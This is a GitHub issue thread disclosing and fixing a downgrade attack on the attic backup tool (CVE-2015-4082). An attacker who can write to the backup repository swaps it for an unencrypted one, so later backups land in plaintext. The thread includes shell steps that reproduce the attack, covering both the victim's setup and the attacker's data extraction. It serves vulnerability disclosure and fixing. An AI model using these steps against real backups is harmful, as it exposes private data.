Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

security bug: decryption attack #271

Closed
ThomasWaldmann opened this issue Apr 5, 2015 · 11 comments
Closed

security bug: decryption attack #271

ThomasWaldmann opened this issue Apr 5, 2015 · 11 comments

Comments

@ThomasWaldmann
Copy link
Contributor

assume attacker has access to your (still) encrypted repository and changes the manifest type byte to "unencrypted / without key file".

your next automated backup will then run in unencrypted mode without you noticing it and you give all your data to the attacker who controls your backup device.

@henryk
Copy link

henryk commented Apr 5, 2015

Ok, this works even for a very simple minded attacker. Prerequisites for the victim: Automated encrypted setup. Prerequisites for the attack: Write access to the backup target.

Steps to reproduce

Victim prepares

victim$ mkdir my\ data
victim$ echo "My super secret data" > my\ data/data.txt
victim$ ATTIC_PASSPHRASE="My secret passphrase" attic init -e passphrase storage
Initializing repository at "storage"
Remember your passphrase. Your data will be inaccessible without it.
victim$ ATTIC_PASSPHRASE="My secret passphrase" attic create storage::first my\ data
Initializing cache...
victim$ ATTIC_PASSPHRASE="My secret passphrase" attic list storage
first                                Sun Apr  5 22:45:42 2015

The victim now sets up a cron job to regularly execute attic create as in the second to last command.

Attacker prepares

attacker$ rm -rf storage
attacker$ attic init storage
Initializing repository at "storage"
Encryption NOT enabled.
Use the "--encryption=passphrase|keyfile" to enable encryption.

Victim does the next backup

victim$ ATTIC_PASSPHRASE="My secret passphrase" attic create storage::second my\ data
Initializing cache...

Attacker reaps data

attacker$ attic list storage
second                               Sun Apr  5 22:46:19 2015
attacker$ mkdir goodies
attacker$ cd goodies
attacker$ attic extract ../storage::second
attacker$ cat my\ data/data.txt
My super secret data

@ThomasWaldmann ThomasWaldmann changed the title potential decryption attack security bug: decryption attack Apr 6, 2015
@ThomasWaldmann
Copy link
Contributor Author

Uhoh, this is easier than I first thought. @henryk thanks a lot for finding this!

@jborg this should be fixed and the fix released asap. Assuming we have a fix soon, could you make a 0.15 release with it? Would be also good to get the other post-0.14 fixes out.

@fd0
Copy link

fd0 commented Apr 6, 2015

Why is automated backup a requirement for successful exploitation? Just because the user isn't prompted for the password and is therefore able to recognize the attack?

@henryk
Copy link

henryk commented Apr 6, 2015

Yeah, It's not a requirement per se. It's just that, when not using ATTIC_PASSPHRASE as I did in the example, the user might notice that there's no passphrase prompt. (Of course, they might just not notice even in the manual case.) On the topic of telltale signs: Note that Initializing cache... appears a second time only in the attack case. (Note: this example used attic/merge merge, I'm confident that the attack works in both jborg/attic master and attic/merge merge-all, but haven't checked under which circumstances they will utter the second Initializing cache...)

@jborg jborg closed this as completed in 78f9ad1 Apr 6, 2015
@jborg
Copy link
Owner

jborg commented Apr 6, 2015

@jborg this should be fixed and the fix released asap. Assuming we have a fix soon, could you make a 0.15 release with it? Would be also good to get the other post-0.14 fixes out.

Yeah, my life seems to be slowing down a bit lately so I'm optimistic to be able to release 0.15 as a bug fix release (this and other fixes) in a couple of days.

The fix I just pushed forces users to manually approve first access of unknown (no cache dir on disk) unencrypted repositories. UX wise this sucks, but we have no choice I guess...

One more thing, as with most open source projects it's best practice not to discuss security related topics in public. Contact me directly instead.

@fw42
Copy link

fw42 commented Apr 6, 2015

Why not HMAC all the configuration etc. that's stored server-side?

@ThomasWaldmann
Copy link
Contributor Author

@fw42 hmacs are (only) used if crypto keys are available, but the issue here is that the untrusted backup repo server is telling "this is unencrypted", so attic would not switch into the correct "mode".

@jborg about disclosure you're completely right. When @henryk and me sat together at EH15 we first thought this only MIGHT be an issue (and if it was one, it might be complicated to tweak the repo to exploit it). Then I filed an issue about it so that we do not forget to look at this later. It was a bit unexpected that (shortly afterwards) it turned out to be really an issue and even that easy to trigger.

On the way back home from EH15 I thought about how to fix that best and that maybe defaulting to encryption ON and a cmdline option to explicitly switch it off would be the best:

attic init --unencrypted ...
attic create --unencrypted ...

Without that option, attic would not initialize an unencrypted repo / create an unencrypted backup.

@ThomasWaldmann
Copy link
Contributor Author

In case somebody tries to reproduce whether the fix really works: it is important to either use different users or to at least make sure that victim's ~/.cache/attic is kept separate from attacker's ~/.cache/attic.

If you use same user (as I did when first trying), attic won't ask questions as it will know that the switch to unencrypted came from the current user.

So, I can confirm now that the fix works. \o/

@danmbox
Copy link

danmbox commented Apr 28, 2015

Does this create problems if I move a repository to a different path? I'm getting a warning from a cron script (which makes the backup fail, obviously). And there seems to be no create --unencrypted. The repository has never been encrypted.

@danmbox
Copy link

danmbox commented Apr 28, 2015

The problem is that I'm backing up from a stdin stream using #208 -- (patches applied on attic=0.15) so I can't tell attic, that YES, I'VE MOVED the repository by typing 'y'. A command line switch would be nice.

EDIT: I've opened an issue at #299

@trou
Copy link

trou commented Jun 2, 2015

FYI, CVE-2015-4082 has been assigned to this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants